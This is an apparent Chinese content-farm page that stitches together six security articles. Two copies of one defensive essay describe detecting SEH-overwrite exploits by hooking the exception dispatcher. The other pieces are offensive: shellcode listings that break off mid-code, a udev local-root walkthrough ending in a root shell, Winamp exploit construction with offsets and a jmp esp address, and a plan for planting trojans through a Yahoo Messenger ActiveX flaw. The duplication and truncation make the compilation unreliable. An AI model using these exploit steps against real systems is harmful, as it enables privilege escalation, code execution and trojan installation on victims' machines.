“金山打字通”通过精心收集,向本站投稿了6篇SEH溢出利用检测思路,下面小编为大家带来整理后的SEH溢出利用检测思路,希望大家喜欢!

SEH溢出利用检测思路

篇1:SEH溢出利用检测思路

看到安焦上的一篇《基于栈指纹检测缓冲区溢出的一点思路》,这是在ShellCode已经运行时在它的调用堆栈(被Hook的下级调用函数LoadLibrary)里进行检测,有些利用溢出覆盖SEH Handler,然后任程序运行,因为溢出破坏了堆或栈,肯定会出现异常,这时指向ShellCode的Handler被运行,我在想这一类的溢出利用,既然它想运行,那首先要过操作系统的异常派遣这一关,如果在分派异常时我们就对SEH Handler进行一下检测,或许能在ShellCode运行前就发现它,

我简单看了一下SEH处理流程,一直跟到这两个函数,因为wrk代码不全,所以我选取ReactOS的代码,但并不影响理解。

以下代码来自ReactOS,版权归原作者

VOID

NTAPI

KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,

PCONTEXT Context)

{

EXCEPTION_RECORD NestedExceptionRecord;

NTSTATUS Status;

/* call the vectored exception handlers */

if(RtlpExecuteVectoredExceptionHandlers(ExceptionRecord,

Context) != ExceptionContinueExecution)

{//VEH??? ReactOS也太强了吧,实现了XP的VEH,兼容度很高啊!

goto ContinueExecution;

}

else

{

/* Dispatch the exception and check the result */

if(RtlDispatchException(ExceptionRecord, Context))

{

ContinueExecution:

/* Continue executing */

Status = NtContinue(Context, FALSE);

}

else

{

/* Raise an exception */

Status = NtRaiseException(ExceptionRecord, Context, FALSE);

}

}

/* Setup the Exception record */

NestedExceptionRecord.ExceptionCode = Status;

NestedExceptionRecord.ExceptionFlags = EXCEPTION_NONCONTINUABLE;

NestedExceptionRecord.ExceptionRecord = ExceptionRecord;

NestedExceptionRecord.NumberParameters = Status;

/* Raise the exception */

RtlRaiseException(&NestedExceptionRecord);

}

BOOLEAN

NTAPI

RtlDispatchException(IN PEXCEPTION_RECORD ExceptionRecord,

IN PCONTEXT Context)

{

PEXCEPTION_REGISTRATION_RECORD RegistrationFrame, NestedFrame. = NULL;

DISPATCHER_CONTEXT DispatcherContext;

EXCEPTION_RECORD ExceptionRecord2;

EXCEPTION_DISPOSITION Disposition;

ULONG_PTR StackLow, StackHigh;

ULONG_PTR RegistrationFrameEnd;

/* Get the current stack limits and registration frame. */

RtlpGetStackLimits(&StackLow, &StackHigh);

RegistrationFrame. = RtlpGetExceptionList;

/* Now loop every frame. */

while (RegistrationFrame. != EXCEPTION_CHAIN_END)

{

/* Find out where it ends */

RegistrationFrameEnd = (ULONG_PTR)RegistrationFrame. +

sizeof(EXCEPTION_REGISTRATION_RECORD);

/* Make sure the registration frame. is located within the stack */

if ((RegistrationFrameEnd > StackHigh) ||

((ULONG_PTR)RegistrationFrame. < StackLow) ||

((ULONG_PTR)RegistrationFrame. & 0x3))

{

/* Check if this happened in the DPC Stack */

if (RtlpHandleDpcStackException(RegistrationFrame,

RegistrationFrameEnd,

&StackLow,

&StackHigh))

{

/* Use DPC Stack Limits and restart */

continue;

}

/* Set invalid stack and return false */

ExceptionRecord->ExceptionFlags |= EXCEPTION_STACK_INVALID;

return FALSE;

}

/* Check if logging is enabled */

RtlpCheckLogException(ExceptionRecord,

Context,

RegistrationFrame,

sizeof(*RegistrationFrame));

/* Call the handler */

Disposition = RtlpExecuteHandlerForException(ExceptionRecord,

RegistrationFrame,

Context,

&DispatcherContext,

RegistrationFrame->

Handler);

/* Check if this is a nested frame. */

if (RegistrationFrame. == NestedFrame)

{

/* Mask out the flag and the nested frame. */

ExceptionRecord->ExceptionFlags &= ~EXCEPTION_NESTED_CALL;

NestedFrame. = NULL;

}

/* Handle the dispositions */

switch (Disposition)

{

/* Continue searching */

case ExceptionContinueExecution:

/* Check if it was non-continuable */

if (ExceptionRecord->ExceptionFlags & EXCEPTION_NONCONTINUABLE)

{

/* Set up the exception record */

ExceptionRecord2.ExceptionRecord = ExceptionRecord;

ExceptionRecord2.ExceptionCode =

STATUS_NONCONTINUABLE_EXCEPTION;

ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;

ExceptionRecord2.NumberParameters = 0;

/* Raise the exception */

RtlRaiseException(&ExceptionRecord2);

}

else

{

/* Return to caller */

return TRUE;

}

/* Continue searching */

case ExceptionContinueSearch:

break;

/* Nested exception */

case ExceptionNestedException:

/* Turn the nested flag on */

ExceptionRecord->ExceptionFlags |= EXCEPTION_NESTED_CALL;

/* Update the current nested frame. */

if (DispatcherContext.RegistrationPointer > NestedFrame)

{

/* Get the frame. from the dispatcher context */

NestedFrame. = DispatcherContext.RegistrationPointer;

}

break;

/* Anything else */

default:

/* Set up the exception record */

ExceptionRecord2.ExceptionRecord = ExceptionRecord;

ExceptionRecord2.ExceptionCode = STATUS_INVALID_DISPOSITION;

ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;

ExceptionRecord2.NumberParameters = 0;

/* Raise the exception */

RtlRaiseException(&ExceptionRecord2);

break;

}

/* Go to the next frame. */

RegistrationFrame. = RegistrationFrame->Next;

}

/* Unhandled, return false */

return FALSE;

}

然后我们可以为需要保护的进程Hook KiUserExceptionDispatcher,在这里面检测Handler是否安全,我能想到的可能不太安全的Handler有四种情况,也许有更多,我只简单的实现了第一个策略(就是遍历一下SEH链),下面是相关的代码片段,

//SEHChecker.cpp

inline DWORD __fastcall GetFsDword(DWORD dwOffset)

{

__asm mov eax,DWORD PTR fs:[ecx]

}

//策略:

//1. Handler在栈区域

//2. Handler在堆区域

//3. Handler在全局数据区

//4. Handler在正常的代码页中,但第一条指令是jmp xxx,或者Handler前一段是不影响ShellCode的指令,后面带有一个jmp xxx,跳到Handler中,怎么检测?

BOOL AnyUnsafeHandler(void)

{

struct SEHChain{

SEHChain *pNext;

void *pHandler;

};

SEHChain* pChain=(SEHChain*)GetFsDword(0);

DWORD dwStackBase=GetFsDword(4);

DWORD dwStackLimit=GetFsDword(8);

BOOL bRet=FALSE;

do

{

bRet=((DWORD)(pChain->pHandler)>=dwStackLimit)&&((DWORD)(pChain->pHandler)<=dwStackBase);

pChain=pChain->pNext;

}while(!bRet&&(pChain!=(SEHChain*)-1));

return bRet;

}

VOID

WINAPI

HookedUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,

PCONTEXT Context)

{

if(AnyUnsafeHandler())

{

ExitThread(0);

}

TrampolineUserExceptionDispatcher(ExceptionRecord,Context);

}

在检测到非安全的Handler时我为什么要用ExitThread呢,因为基于TIB的Seh Chain是线程相关的,它不是Final型的SEH Handler(不懂的参考一下Hume大侠的经典文章<>),所以直接用ExitThread把可能出现危险的线程给退掉,如果是主线程则进程会退出,需要的话同时记录一下日志,以供管理员分析受攻击情况。

篇2:覆盖SEH的溢出利用检测思路

看到安焦上的一篇

《基于栈指纹检测缓冲区溢出的一点思路》/Article/01/23034.html

,这是在ShellCode已经运行时在它的调用堆栈(被Hook的下级调用函数LoadLibrary)里进行检测,有些利用溢出覆盖SEH Handler,然后任程序运行,因为溢出破坏了堆或栈,肯定会出现异常,这时指向ShellCode的Handler被运行,我在想这一类的溢出利用,既然它想运行,那首先要过操作系统的异常派遣这一关,如果在分派异常时我们就对SEH Handler进行一下检测,或许能在ShellCode运行前就发现它,

我简单看了一下SEH处理流程,一直跟到这两个函数,因为wrk代码不全,所以我选取ReactOS的代码,但并不影响理解。

以下代码来自ReactOS,版权归原作者

VOID

NTAPI

KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,

PCONTEXT Context)

{

EXCEPTION_RECORD NestedExceptionRecord;

NTSTATUS Status;

/* call the vectored exception handlers */

if(RtlpExecuteVectoredExceptionHandlers(ExceptionRecord,

Context) != ExceptionContinueExecution)

{//VEH??? ReactOS也太强了吧,实现了XP的VEH,兼容度很高啊!

goto ContinueExecution;

}

else

{

/* Dispatch the exception and check the result */

if(RtlDispatchException(ExceptionRecord, Context))

{

ContinueExecution:

/* Continue executing */

Status = NtContinue(Context, FALSE);

}

else

{

/* Raise an exception */

Status = NtRaiseException(ExceptionRecord, Context, FALSE);

}

}

/* Setup the Exception record */

NestedExceptionRecord.ExceptionCode = Status;

NestedExceptionRecord.ExceptionFlags = EXCEPTION_NONCONTINUABLE;

NestedExceptionRecord.ExceptionRecord = ExceptionRecord;

NestedExceptionRecord.NumberParameters = Status;

/* Raise the exception */

RtlRaiseException(&NestedExceptionRecord);

}

BOOLEAN

NTAPI

RtlDispatchException(IN PEXCEPTION_RECORD ExceptionRecord,

IN PCONTEXT Context)

{

PEXCEPTION_REGISTRATION_RECORD RegistrationFrame, NestedFrame. = NULL;

DISPATCHER_CONTEXT DispatcherContext;

EXCEPTION_RECORD ExceptionRecord2;

EXCEPTION_DISPOSITION Disposition;

ULONG_PTR StackLow, StackHigh;

ULONG_PTR RegistrationFrameEnd;

/* Get the current stack limits and registration frame. */

RtlpGetStackLimits(&StackLow, &StackHigh);

RegistrationFrame. = RtlpGetExceptionList();

/* Now loop every frame. */

while (RegistrationFrame. != EXCEPTION_CHAIN_END)

{

/* Find out where it ends */

RegistrationFrameEnd = (ULONG_PTR)RegistrationFrame. +

sizeof(EXCEPTION_REGISTRATION_RECORD);

/* Make sure the registration frame. is located within the stack */

if ((RegistrationFrameEnd > StackHigh) ||

((ULONG_PTR)RegistrationFrame. < StackLow) ||

((ULONG_PTR)RegistrationFrame. & 0x3))

{

/* Check if this happened in the DPC Stack */

if (RtlpHandleDpcStackException(RegistrationFrame,

RegistrationFrameEnd,

&StackLow,

&StackHigh))

{

/* Use DPC Stack Limits and restart */

continue;

}

/* Set invalid stack and return false */

ExceptionRecord->ExceptionFlags |= EXCEPTION_STACK_INVALID;

return FALSE;

}

/* Check if logging is enabled */

RtlpCheckLogException(ExceptionRecord,

Context,

RegistrationFrame,

sizeof(*RegistrationFrame));

/* Call the handler */

Disposition = RtlpExecuteHandlerForException(ExceptionRecord,

RegistrationFrame,

Context,

&DispatcherContext,

RegistrationFrame->

Handler);

/* Check if this is a nested frame. */

if (RegistrationFrame. == NestedFrame)

{

/* Mask out the flag and the nested frame. */

ExceptionRecord->ExceptionFlags &= ~EXCEPTION_NESTED_CALL;

NestedFrame. = NULL;

}

/* Handle the dispositions */

switch (Disposition)

{

/* Continue searching */

case ExceptionContinueExecution:

/* Check if it was non-continuable */

if (ExceptionRecord->ExceptionFlags & EXCEPTION_NONCONTINUABLE)

{

/* Set up the exception record */

ExceptionRecord2.ExceptionRecord = ExceptionRecord;

ExceptionRecord2.ExceptionCode =

STATUS_NONCONTINUABLE_EXCEPTION;

ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;

ExceptionRecord2.NumberParameters = 0;

/* Raise the exception */

RtlRaiseException(&ExceptionRecord2);

}

else

{

/* Return to caller */

return TRUE;

}

/* Continue searching */

case ExceptionContinueSearch:

break;

/* Nested exception */

case ExceptionNestedException:

/* Turn the nested flag on */

ExceptionRecord->ExceptionFlags |= EXCEPTION_NESTED_CALL;

/* Update the current nested frame. */

if (DispatcherContext.RegistrationPointer > NestedFrame)

{

/* Get the frame. from the dispatcher context */

NestedFrame. = DispatcherContext.RegistrationPointer;

}

break;

/* Anything else */

default:

/* Set up the exception record */

ExceptionRecord2.ExceptionRecord = ExceptionRecord;

ExceptionRecord2.ExceptionCode = STATUS_INVALID_DISPOSITION;

ExceptionRecord2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;

ExceptionRecord2.NumberParameters = 0;

/* Raise the exception */

RtlRaiseException(&ExceptionRecord2);

break;

}

/* Go to the next frame. */

RegistrationFrame. = RegistrationFrame->Next;

}

/* Unhandled, return false */

return FALSE;

}

然后我们可以为需要保护的进程Hook KiUserExceptionDispatcher,在这里面检测Handler是否安全,我能想到的可能不太安全的Handler有四种情况,也许有更多,我只简单的实现了第一个策略(就是遍历一下SEH链),下面是相关的代码片段,

//SEHChecker.cpp

inline DWORD __fastcall GetFsDword(DWORD dwOffset)

{

__asm mov eax,DWORD PTR fs:[ecx]

}

//策略:

//1. Handler在栈区域

//2. Handler在堆区域

//3. Handler在全局数据区

//4. Handler在正常的代码页中,但第一条指令是jmp xxx,或者Handler前一段是不影响ShellCode的指令,后面带有一个jmp xxx,跳到Handler中,怎么检测?

BOOL AnyUnsafeHandler(void)

{

struct SEHChain{

SEHChain *pNext;

void *pHandler;

};

SEHChain* pChain=(SEHChain*)GetFsDword(0);

DWORD dwStackBase=GetFsDword(4);

DWORD dwStackLimit=GetFsDword(8);

BOOL bRet=FALSE;

do

{

bRet=((DWORD)(pChain->pHandler)>=dwStackLimit)&&((DWORD)(pChain->pHandler)<=dwStackBase);

pChain=pChain->pNext;

}while(!bRet&&(pChain!=(SEHChain*)-1));

return bRet;

}

VOID

WINAPI

HookedUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord,

PCONTEXT Context)

{

if(AnyUnsafeHandler())

{

ExitThread(0);

}

TrampolineUserExceptionDispatcher(ExceptionRecord,Context);

}

在检测到非安全的Handler时我为什么要用ExitThread呢,因为基于TIB的Seh Chain是线程相关的,它不是Final型的SEH Handler(不懂的参考一下Hume大侠的经典文章<>),所以直接用ExitThread把可能出现危险的线程给退掉,如果是主线程则进程会退出,需要的话同时记录一下日志,以供管理员分析受攻击情况。

SEH溢出利用检测思路

篇3:基于栈指纹检测缓冲区溢出的思路

引言

当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的“木桶理论”,安全是一个整体,威胁还是无处不在,

现有的栈溢出检测模式

整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode:

__asm

{

/* --------------------解码开始---------------------- */

jmp decode_end

decode_start:

pop edx // 得到解码开始位置 esp -> edx

dec edx

xor ecx,ecx

mov cx,0x13D // 要解码的长度

decode_loop:

xor byte ptr [edx+ecx], 0x99

loop decode_loop

jmp decode_ok

decode_end:

call decode_start

decode_ok:

/*--------------------解码结束---------------------- */

jmp end

start:

pop edx // 指令表起始地址存放在 esp -> edx

// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====

//

// 输入:

// edx => 指令表起始地址 (不需要)

//

// 输出:

// eax => kernel32.dll起始地址

// edx => 指令表起始地址

mov eax, fs:0x30 // PEB

mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO

mov esi, [eax + 0x1c] // InInitOrder.flink

lodsd

mov eax,[eax+8]

// ========== 定位GetProcAddress的地址 ==========

//

// 输入:

// eax => kernel32.dll起始地址

// edx => 指令表起始地址

//

// 输出:

// ebx => kernel32.dll起始地址

// eax => GetProcAddress地址

// edx => 指令表起始地址

mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address

mov esi,dword ptr [ebx+3Ch] // esi = PE header offset

mov esi,dword ptr [esi+ebx+78h]

add esi,ebx // esi = exports directory table

mov edi,dword ptr [esi+20h]

add edi,ebx // edi = name pointers table

mov ecx,dword ptr [esi+14h] // ecx = number of name pointers

xor ebp,ebp

push esi

search_GetProcAddress:

push edi

push ecx

mov edi,dword ptr [edi]

add edi,ebx // 把输出函数名表起始地址存人edi

mov esi,edx // 指令表起始地址存入esi

//mov ecx,0Eh // 函数getprocAddress长度为0Eh

push 0xE

pop ecx

repe cmps byte ptr [esi],byte ptr [edi]

je search_GetProcAddress_ok

pop ecx

pop edi

add edi,4

inc ebp

loop search_GetProcAddress

search_GetProcAddress_ok:

pop ecx

pop edi

pop esi

mov ecx,ebp

mov eax,dword ptr [esi+0x24]

add eax,ebx

shl ecx,1

add eax,ecx

xor ecx,ecx

mov cx,word ptr [eax]

mov eax,dword ptr [esi+0x1C]

add eax,ebx

shl ecx,2

add eax,ecx

mov eax,dword ptr [eax]

add eax,ebx

// ============ 调用函数解决api地址 ============

//

// 输入:

// ebx =>kernel32.dll起始地址

// eax =>GetProcAddress地址

// edx =>指令表起始地址

//

// 输出:

// edi =>函数地址base addr

// esi =>指令表当前位置

// edx =>GetProcAddress 地址

mov edi,edx

mov esi,edi

add esi,0xE // 0xE 跳过1个字符串“GetProcAddress”32177368

// ============ 解决kernel32.dll中的函数地址 ============

mov edx,eax // 把GetProcAddress 地址存放在edx

//mov ecx,0x5 // 需要解决的函数地址的个数

push 0x2

pop ecx

call locator_api_addr

// ============ 加载user32.dll ============

add esi,0xd

// 硬编码可以节省两个字节

push edx // edx是GetProcAddress 地址

push esi // 字符“urlmon”地址

//mov dword ptr fs:[4],0x0012FFFF

//mov dword ptr fs:[8],0x0012FFFF

call dword ptr [edi-4] // LoadLibraryA

// ============ 解决函数地址 ============

pop edx

mov ebx,eax // 将urlmon.dll起始地址存放在ebx

//mov ecx,1 // 函数个数

push 0x1

pop ecx // 函数个数 <-这种方式省两个字节

call locator_api_addr

// 取得一些空间存放系统路径

sub esp, 0x20

mov ebx, esp

//MessageBox的参数

mov dword ptr [ebx], 0x797a7967 // “yzyg”

mov dword ptr [ebx+0x4], 0x00000000 // “00”

push 0

push ebx

push ebx

push 0

call [edi-0x4] //MessageBoxA

// ExitProcess

push eax

call dword ptr [edi-0x0c] // ExitProcess

// ============ 解决api地址的函数 ============

//

// 输入参数:

// ecx 函数个数

// edx GetProcAddress 地址

// ebx 输出函数的dll起始地址

// esi 函数名表起始地址

// edi 保存函数地址的起始地址

locator_api_addr:

locator_space:

xor eax,eax

lodsb

test eax,eax // 寻找函数名之间的空格x00

jne locator_space

篇4:UDEV本地溢出漏洞利用手记

职业欠钱

这段时间UDEV溢出漏洞很火,在虚拟机上做了下试验,发现确实很好用,

貌似通杀范围很广

1. 将/Article/04/37558.html 保存为一个shell文件,也可以随便命名,例如我后面命名为a

2. 查找udev的第一个socket的PID,可以通过执行如下命令获得:

cat /proc/net/netlink

3. 将出现在第一行的PID减去1,作为参数,例如

sk      Eth Pid   Groups  Rmem    Wmem    Dump    Locks

cfe9ce00 0  0     00000000 0       0       00000000

这个PID是0,减去1后得到-1

4. sh a -1 (如果失败了,多执行几次)

下面是一次成功的演示(我失败了N次,本来以为系统不受影响的,后来听说2.6内核的都受影响,所以多尝试了几次,忽然间看到一个可爱的#,激动)

bt tmp $ cat /proc/net/netlink

sk      Eth Pid   Groups  Rmem    Wmem    Dump    Locks

cfe9ce00 0  0     00000000 0       0       00000000 2

cf8f3800 6  0     00000000 0       0       00000000 2

cfa96400 8  0     00000000 0       0       00000000 2

cfe13000 10 0     00000000 0       0       00000000 2

cff57c00 12 0     00000000 0       0       00000000 2

cfe9cc00 15 0     00000000 0       0       00000000 2

cff57600 15 1060  00000001 0       0       00000000 2

c12a3000 16 0     00000000 0       0       00000000 2

c12a3200 18 0     00000000 0       0       00000000 2

bt tmp $ sh a -1

suid.c: In function 'main':

suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

/usr/lib/gcc/i486-slackware-linux/4.1.2/../../../../i486-slackware-linux/bin/ld: cannot open output file /tmp/suid: Permission denied

collect2: ld returned 1 exit status

cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file

sh-3.1# id

uid=0(root) gid=0(root) groups=10(wheel)

sh-3.1# uname -a

Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT i686 Intel(R) Pentium(R) Dual CPU E2140 @ 1.60GHz GenuineIntel GNU/Linux

------------------------郁闷的分割线----------------------------------------------------------------------

后来又反复测试了几十次,才能够再成功一次,

bt test $ bash b -1

suid.c: In function 'main':

suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

sh-3.1$ exit -----------> 又失败了

exit

bt test $ bash b -1

suid.c: In function 'main':

suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

sh-3.1# ---------------> 成功

篇5:Winamp 栈溢出分析及利用漏洞预警

Winamp是一个比较老的播放器,这里主要是通过winamp的一个poc分析,构造一个exp,主程序见附件winamp.exe, poc见附件poc.m3u。

一、 Poc 分析

首先查看poc如下。发现除了前10多个字节为m3u文件格式规定内容外,其它部分均为A。

运行winamp.exe程序,将poc.m3u拖入主界面中,程序直接崩溃。为了查看崩溃时状态,我们将windbg设置为即时调试器。设置在cmd中使用命令:

windbg –I

再次运行poc,自动弹出windbg,发现崩溃状态:

出现异常,主要是esi+4不可写,修改esi=0045000,命令为:

r @esi=00445000

继续运行,停至

eax为41414141,[Eax+0c]处也不可读,且经分析,必须[eax+0c]的第5位为1,程序才会运行至strcpy处,所以修改eax=12c238

继续运行,发现程序运行至41414141,这样我们就完全控制了程序的执行,

二、定位异常

通过构造一个特殊的poc来定位:

定位结果如下:

esi=eax=306a4139, 程序最后的eip=6141326a

在poc文件中搜索

可知要绕过异常: 0x11e处的4字节 data需要满足:

[data+4]可读

且Byte ptr[data+c] 第5字节为1

最后选择了一个满足条件的data:719f7bf0

程序覆盖点在0×126处,此处存放jmp esp的地址(这里用7ffa4512,这是个比较通用的jmp esp地址)。

三、构造 exp

完整的exp构造见附件。主要包括4字节绕过异常放在0x11e处,0×126处放jmp esp指令地址,shellcode放在0x12a开始处。

测试:(环境xp sp3)

结果:能成功弹出计算器

附件下载地址: pan.baidu.com/s/1sjoCWMx

篇6:关于Yahoo! Messenger 0day 利用思路

这个漏洞暴光也有几个星期了,官方至今也未出补丁,

测试程序:download.yahoo.com/dl/msgr8/us/ymsgr8us.exe

漏洞介绍

雅虎通是一款非常流行的即时通讯工具。

雅虎通的CYFT ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞向用户系统上传任意文件。

CYFT ActiveX控件的GetFile()方式没有对用户提交的参数做充分的检查过滤,远程攻击者可以通过提供畸形参数向用户系统的任意位置上传任意文件,但是相关的控件默认情况下不能远程调用。

从漏洞介绍上就可以看出此漏洞并无本地执行权限,也就是说光可以下载EXE 但无法执行。

其实此漏洞XP2 IE默认设置下ActiveX控件是无法调用的,这里只是谈下执行EXE的思路,以后也可能出现类似漏洞。

先前也见过有人用WScript.Shell组件来执行EXE,在HTML文件里是不可能的,况且还是本地执行。

这个我曾经也考虑过,其实这个漏洞保存的目录是可以设定的,可保存到C:Documents and SettingsAll Users「开始」菜单程序启动

等下次开机时去执行,

这里给大家说一种新的本地执行思路,mailto:和mms:

maito:的默认关联 ..Program FilesOutlook Expressmsimn.exe

mms:的默认关联 ..Program FilesWindows Media Playerwmplayer.exe

我们可以把木马覆盖到..Program FilesOutlook Expressmsimn.exe 通过mailto:来执行

当装了Microsoft Office 2000/2003/2007或其他邮件工具时,maito:关联不再是默认

先前的“Windows Media Player Oday”就是通过Media返回错误,使域环境发生改变,利用Microsoft.XMLHTTP 发送下载请求

再通过ADODB.Stream组件将木马覆盖到..Program FilesWindows Media Playerwmplayer.exe,完后访问通过IE访问mms:

最终完成木马的执行,不过这只是针对SP1系统的。

Yahoo! Messenger 0day利用代码

此漏洞虽然只是在本地执行生效,如果我们能改变SP2域环境就可以实现远程调用,一代挂马王又将诞生。

阅读剩余 0%
本站所有文章资讯、展示的图片素材等内容均为注册用户上传(部分报媒/平媒内容转载自网络合作媒体),仅供学习参考。 用户通过本站上传、发布的任何内容的知识产权归属用户或原始著作权人所有。如有侵犯您的版权,请联系我们反馈本站将在三个工作日内改正。